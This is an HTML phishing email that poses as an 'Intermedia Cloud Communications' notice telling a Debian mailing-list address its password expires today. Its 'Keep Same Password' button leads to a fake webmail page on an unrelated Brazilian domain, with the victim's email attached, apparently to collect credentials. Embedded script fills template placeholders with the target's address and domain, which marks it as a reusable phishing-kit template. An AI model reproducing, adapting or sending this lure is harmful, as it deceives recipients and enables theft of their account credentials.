<!DOCTYPE html>
<html><head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
<title>Intermedia - Password Expiry Notice</title>
<style>
body {
margin: 0;
padding: 20px;
font-family: Arial, Helvetica, sans-serif;
background: #e9ecef;
}
.container {
max-width: 550px;
margin: 0 auto;
background: white;
border-radius: 12px;
padding: 25px 20px 20px 20px;
box-shadow: 0 4px 12px rgba(0,0,0,0.1);
text-align: center;
}
.logo {
margin-bottom: 20px;
}
.intermedia-logo {
display: inline-flex;
align-items: center;
justify-content: center;
gap: 10px;
background: linear-gradient(135deg, #00a1df 0%, #0077be 100%);
padding: 8px 22px;
border-radius: 60px;
box-shadow: 0 2px 8px rgba(0,0,0,0.1);
}
.cloud-icon {
font-size: 28px;
filter: drop-shadow(0 2px 2px rgba(0,0,0,0.2));
}
.logo-text {
font-size: 22px;
font-weight: 700;
color: white;
letter-spacing: 0.5px;
font-family: 'Segoe UI', Arial, sans-serif;
.logo-sub {
font-size: 10px;
font-weight: normal;
opacity: 0.9;
margin-left: 4px;
}
}
.domain {
font-size: 28px;
font-weight: bold;
color: #0077be;
margin: 10px 0 5px;
}
.warning {
font-size: 16px;
color: #333;
margin: 15px 0;
line-height: 1.5;
}
.email-badge {
font-weight: bold;
color: #0077be;
background: #e8f4fd;
display: inline-block;
padding: 4px 12px;
border-radius: 20px;
margin: 0 4px;
}
.time-badge {
font-weight: bold;
color: #e67e22;
}
.btn {
display: inline-block;
border: none;
padding: 12px 28px;
color: white;
text-decoration: none;
background-color: #0077be;
text-align: center;
font-weight: bold;
border-radius: 50px;
margin: 20px 0 15px;
font-size: 15px;
cursor: pointer;
transition: background 0.2s;
}
.btn:hover {
background-color: #005f9e;
}
.footer {
font-size: 12px;
color: #888;
margin-top: 20px;
padding-top: 15px;
border-top: 1px solid #eee;
}
.footer span {
color: #555;
}
</style>
</head>
<body style="margin: 0;
padding: 20px;
font-family: Arial, Helvetica, sans-serif;
background: #e9ecef">
<div style="max-width: 550px;
margin: 0 auto;
background: white;
border-radius: 12px;
padding: 25px 20px 20px 20px;
box-shadow: 0 4px 12px rgba(0,0,0,0.1);
text-align: center" class="container">
<!-- Intermedia Cloud Communication Logo -->
<div style="margin-bottom: 20px" class="logo">
<br><br><div style="display: inline-flex;
align-items: center;
justify-content: center;
gap: 10px;
background: linear-gradient(135deg, #00a1df 0%, #0077be 100%);
padding: 8px 22px;
border-radius: 60px;
box-shadow: 0 2px 8px rgba(0,0,0,0.1)" class="intermedia-logo">
<span style="font-size: 28px;
filter: drop-shadow(0 2px 2px rgba(0,0,0,0.2))" class="cloud-icon">☁️</span>
<span style="font-size: 22px;
font-weight: 700;
color: white;
letter-spacing: 0.5px;
font-family: 'Segoe UI', Arial, sans-serif;
.logo-sub {
font-size: 10px;
font-weight: normal;
opacity: 0.9;
margin-left: 4px" class="logo-text">Intermedia<span class="logo-sub"> Cloud Communications</span></span>
</div>
</div>
<div class="domain" id="domainDisplay">lists.alioth.debian.org</div>
<div style="font-size: 16px;
color: #333;
margin: 15px 0;
line-height: 1.5" class="warning">
Your account <span style="font-weight: bold;
color: #0077be;
background: #e8f4fd;
display: inline-block;
padding: 4px 12px;
border-radius: 20px;
margin: 0 4px" class="email-badge" id="emailDisplay">pkg-phototools-devel@lists.alioth.debian.org</span> password will expire today <span style="font-weight: bold;
color: #e67e22" class="time-badge" id="timeDisplay"><font color="#f5250a">26 May 2026</font></span>
</div>
<a class="btn" id="actionBtn" href="https://onomesagrado.com.br/assets/yfguygk/webmaill/index.html#pkg-phototools-devel@lists.alioth.debian.org" target="_blank" rel="noreferrer">Keep Same Password</a>
<div style="font-size: 12px;
color: #888;
margin-top: 20px;
padding-top: 15px;
border-top: 1px solid #eee" class="footer">
Automated Message <span style="color: #555" id="footerTime">5/26/2026 9:58:15 a.m.</span><br>
<span style="color: #555" id="footerDomain">lists.alioth.debian.org</span>
</div>
</div>
<script>
(function() {
// Helper: check if text is a raw placeholder like [-something-]
function isPlaceholder(val) {
return val && val.trim().startsWith('[-') && val.trim().endsWith(']');
}
// Get elements
const domainElem = document.getElementById('domainDisplay');
const emailElem = document.getElementById('emailDisplay');
const timeElem = document.getElementById('timeDisplay');
const footerTimeElem = document.getElementById('footerTime');
const footerDomainElem = document.getElementById('footerDomain');
const btn = document.getElementById('actionBtn');
// Read raw values
let rawDomain = domainElem ? domainElem.innerText.trim() : '[-emaildomain-]';
let rawEmail = emailElem ? emailElem.innerText.trim() : '[-email-]';
let rawTime = timeElem ? timeElem.innerText.trim() : '[-time-]';
// Generate realistic fallback values only if placeholders exist
const now = new Date();
const defaultTime = now.toLocaleString('en-GB', { hour12: false });
const defaultDomain = 'intermedia.net';
const defaultEmail = 'user@intermedia.net';
let finalDomain = isPlaceholder(rawDomain) ? defaultDomain : rawDomain;
let finalEmail = isPlaceholder(rawEmail) ? defaultEmail : rawEmail;
let finalTime = isPlaceholder(rawTime) ? defaultTime : rawTime;
// Update display
if (domainElem) domainElem.innerText = finalDomain;
if (emailElem) emailElem.innerText = finalEmail;
if (timeElem) timeElem.innerText = finalTime;
if (footerTimeElem) footerTimeElem.innerText = finalTime;
if (footerDomainElem) footerDomainElem.innerText = finalDomain;
// Fix the button link: replace email placeholder with actual email
if (btn) {
let href = btn.getAttribute('href');
if (href) {
// Handle both encoded and raw placeholder
if (href.includes('%5B-email-%5D')) {
href = href.replace('%5B-email-%5D', encodeURIComponent(finalEmail));
} else if (href.includes('[-email-]')) {
href = href.replace('[-email-]', encodeURIComponent(finalEmail));
}
btn.setAttribute('href', href);
}
}
})();
</script>
</body></html>